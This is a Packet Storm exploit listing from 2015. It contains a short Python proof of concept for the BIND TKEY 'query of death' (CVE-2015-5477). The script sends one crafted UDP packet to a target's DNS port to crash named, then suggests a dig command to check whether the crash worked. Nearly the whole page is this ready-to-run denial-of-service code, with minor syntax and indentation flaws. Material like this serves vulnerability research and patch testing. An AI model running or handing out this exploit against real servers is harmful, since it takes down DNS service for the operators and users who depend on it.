Lucene search

K
packetstormLorenzo CorsiniPACKETSTORM:132926
HistoryJul 31, 2015 - 12:00 a.m.

BIND TKEY Query Denial Of Service

2015-07-3100:00:00
Lorenzo Corsini
packetstormsecurity.com
160

0.973 High

EPSS

Percentile

99.8%

`#!/usr/bin/python  
# Title: BIND Remote DoS via TKEY queries  
# aka: DNS TKEY Query of Death  
# Author: Lorenzo Corsini <serdat>  
# E-Mail: serdat5[at]gmail[dot]com  
# Twitter: https://twitter.com/serdat5tm  
  
# References:  
# https://kb.isc.org/article/AA-01272  
# https://www.isc.org/blogs/about-cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/  
  
# Warning there is no way to use this PoC in a non-desruptive manner.   
# Use with care. I'm not responsible for what you'll do with that  
  
import socket  
import sys  
  
#Not randomized.  
DNS_PACKET='\x04X\x00\x80\x00\x01\x00\x01\x00\x00\x00\x01\x03xxx\x00\x00\xf9\x00\xff\x03xxx\x00\x00\xf9\x00\xff\x00\x00\x00\x00\x00%\x03xxx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x00\x00\x03xxx\x00\x00\x10\x00\xff\x00\x00\x00\x00\x00%$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'  
  
try:  
HOST=sys.argv[1]  
PORT= 53  
except:  
print "Usage: %s host_to_crash" & sys.argv[0]  
sys.exit(-1)  
  
print "Exploiting target at %s" % HOST  
  
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
s.sendto(DNS_PACKET,(HOST,PORT))  
s.close()  
  
print "Check Manually if the exploit worked... try launching:"  
print "dig @%s CR4SH3D any" % HOST  
`